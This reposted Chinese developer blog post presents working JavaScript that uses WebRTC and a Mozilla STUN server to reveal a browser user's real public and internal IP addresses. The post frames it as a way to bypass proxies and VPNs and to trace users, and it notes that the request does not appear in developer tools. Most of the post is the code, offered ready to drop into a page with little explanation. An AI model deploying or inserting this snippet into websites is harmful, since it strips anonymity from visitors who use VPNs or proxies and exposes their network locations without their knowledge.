我是靠谱客的博主 谨慎白昼,最近开发中收集的这篇文章主要介绍JS绕过代理、VPN获取真实IP及内网IP,逆向追踪的实现方法,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Firefox 跟 Chrome支持WebRTC可以向STUN服务器请求,返回内外网IP,不同于XMLHttpRequest请求,STUN请求开发者工具当中看不到网络请求的。

//get the IP addresses associated with an account
function getIPs(callback)
{
  var ip_dups = {};

  //compatibility for firefox and chrome
  var RTCPeerConnection = window.RTCPeerConnection
    || window.mozRTCPeerConnection    || window.webkitRTCPeerConnection;
  var mediaConstraints = {
    optional: [{RtpDataChannels: true}]
  };

  //firefox already has a default stun server in about:config
  //  media.peerconnection.default_iceservers =
  //  [{"url": "stun:stun.services.mozilla.com"}]
  var servers = undefined;

  //add same stun server for chrome
  if(window.webkitRTCPeerConnection)
    servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};

  //construct a new RTCPeerConnection
  var pc = new RTCPeerConnection(servers, mediaConstraints);

  //listen for candidate events
  pc.onicecandidate = function(ice){

    //skip non-candidate events
    if(ice.candidate){

      //match just the IP address
      var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/
      var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];

      //remove duplicates
      if(ip_dups[ip_addr] === undefined)
        callback(ip_addr);

      ip_dups[ip_addr] = true;
    }
  };

  //create a bogus data channel
  pc.createDataChannel("");

  //create an offer sdp
  pc.createOffer(function(result){

    //trigger the stun server request
    pc.setLocalDescription(result, function(){});

  }, function(){});}
//Test: Print the IP addresses into the console

getIPs(function(ip){console.log(ip);});

以上这篇JS绕过代理、VPN获取真实IP及内网IP,逆向追踪的实现方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持脚本之家。

最后

以上就是谨慎白昼为你收集整理的JS绕过代理、VPN获取真实IP及内网IP,逆向追踪的实现方法的全部内容,希望文章能够帮你解决JS绕过代理、VPN获取真实IP及内网IP,逆向追踪的实现方法所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(139)

评论列表共有 0 条评论

立即
投稿
返回
顶部